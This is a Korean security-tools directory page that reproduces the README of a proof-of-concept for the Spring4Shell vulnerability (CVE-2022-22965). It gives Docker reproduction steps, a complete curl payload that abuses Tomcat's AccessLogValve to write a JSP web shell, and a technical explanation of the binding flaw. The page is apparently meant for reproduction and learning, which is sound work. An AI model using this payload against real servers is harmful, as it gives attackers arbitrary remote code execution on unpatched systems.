Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-22965-PoC — CVE-2022-22965 (Spring4Shell)에 대한 개념 증명 익스플로잇으로, Tomcat AccessLogValve 조작을 통한 원격 코드 실행을 시연합니다. Docker 기반 재현 환경과 상세한 기술 분석이 포함되어 있습니다. | Kitploit
도구/GitHubGitHub/kirill89/cve-2022-22965-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubkirill89/cve-2022-22965-poc

CVE-2022-22965-PoC

CVE-2022-22965 (Spring4Shell)에 대한 개념 증명 익스플로잇으로, Tomcat AccessLogValve 조작을 통한 원격 코드 실행을 시연합니다. Docker 기반 재현 환경과 상세한 기술 분석이 포함되어 있습니다.

저장소 보기
32214년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-22965 PoC

CVE-2022-22965 Spring RCE를 재현하는 최소 예제입니다.

Docker Compose로 실행하기

  1. Docker Compose를 사용하여 애플리케이션 빌드
    root@kitploit:~
    docker-compose up --build
    
  2. 앱을 테스트하려면 http://localhost:8080/handling-form-submission-complete/greeting로 이동
  3. 익스플로잇 실행
    root@kitploit:~
    ./exploits/run.sh
    
  4. 익스플로잇이 웹 서버의 webapps/handling-form-submission-complete 디렉토리에 rce.jsp 파일을 생성합니다.
  5. 익스플로잇 사용 http://localhost:8080/handling-form-submission-complete/rce.jsp로 이동

대체 방법 (디버그 중심)

  1. Docker에서 Tomcat 서버 실행

    root@kitploit:~
    docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
    

    원격 디버깅을 원한다면 -p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"를 추가합니다.

  2. 프로젝트 빌드

    root@kitploit:~
    ./mvnw install
    
  3. 앱 배포

    root@kitploit:~
    docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
    
  4. 익스플로잇 작성

    root@kitploit:~
    curl -X POST \
      -H "pre:<%" \
      -H "post:;%>" \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
      -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
      http://localhost:8888/handling-form-submission-complete/greeting
    

    익스플로잇이 웹 서버의 webapps/handling-form-submission-complete에 rce.jsp 파일을 생성합니다.

  5. 익스플로잇 사용

    root@kitploit:~
    curl http://localhost:8888/handling-form-submission-complete/rce.jsp
    

    이제 컨테이너 터미널에서 123이 표시됩니다. System.out.println(123)을 원하는 페이로드로 바꾸면 임의 코드를 실행할 수 있습니다.

간단한 기술 설명

  1. Spring은 폼 필드를 Java 객체에 바인딩하는 방법을 알고 있습니다. 이 예제에서 GreetingController는 /greeting 엔드포인트의 POST 요청을 처리하고 폼 필드를 Greeting 객체에 바인딩합니다.
  2. 또한 중첩된 필드(예: user.info.firstname)의 바인딩도 지원합니다. 자세한 내용은 AbstractNestablePropertyAccessor를 참조하세요.
  3. 이 예제에서 Greeting 클래스는 id와 content라는 두 필드를 가지고 있지만, 실제로는 Class 객체에 대한 참조도 가지고 있습니다. class.module.classLoader를 폼 데이터 키로 사용하여 클래스로더에 접근할 수 있습니다.
  4. 수정 사항에서 주요 변경 사항은 module 속성을 포함한 대부분의 Class 객체 속성에 대한 접근을 제한한 것임을 알 수 있습니다.
  5. 이 동작을 통해 Greeting 클래스에서 접근 가능한 중첩 참조 체인을 통해 클래스의 공용 속성을 설정할 수 있습니다. 그 이상은 아닙니다. 대부분의 경우 class.module.classLoader.에서도 공용 필드가 있는 클래스를 사용할 수 없기 때문에 위험하지 않습니다.

조건

이 익스플로잇은 특수 클래스로더를 가지고 있기 때문에 Tomcat에서만 작동합니다. 유사한 참조 체인이 다른 웹 애플리케이션 서버에도 존재할 수 있지만 아직 발견되지 않았습니다.

익스플로잇은 Java 9 이상이 필요합니다. module 속성이 Java 9에서 추가되었기 때문입니다.

참고 자료

  • 서버 부분은 https://gist.github.com/esell/c9731a7e2c5404af7716a6810dc33e1a 단계별 매뉴얼을 기반으로 합니다.
  • 익스플로잇 부분은 https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py 스크립트를 기반으로 합니다.
  • 취약점에 대한 Snyk 권고는 여기에서 확인할 수 있습니다: https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2436751
도구 다운로드
  • Tomcat 서버에서는 클래스로더가 getResources 접근자를 가지고 있어 참조 체인을 계속 이어가 AccessLogValve 클래스의 인스턴스 중 하나에 접근할 수 있기 때문에 문제가 됩니다.
  • 이 클래스는 로그를 기록하기 위해 설계되었습니다. 일부 속성을 변경하여 원하는 이름과 내용의 파일을 쓰도록 만듭니다. 이 시점에서 임의 파일 쓰기가 가능합니다.
  • 애플리케이션 폴더 루트에 악성 페이로드가 포함된 jsp 파일을 생성합니다. jsp는 Tomcat에 의해 자동으로 실행되므로 브라우저에서 해당 파일로 이동하여 페이로드를 실행할 수 있습니다. 이제 RCE가 됩니다.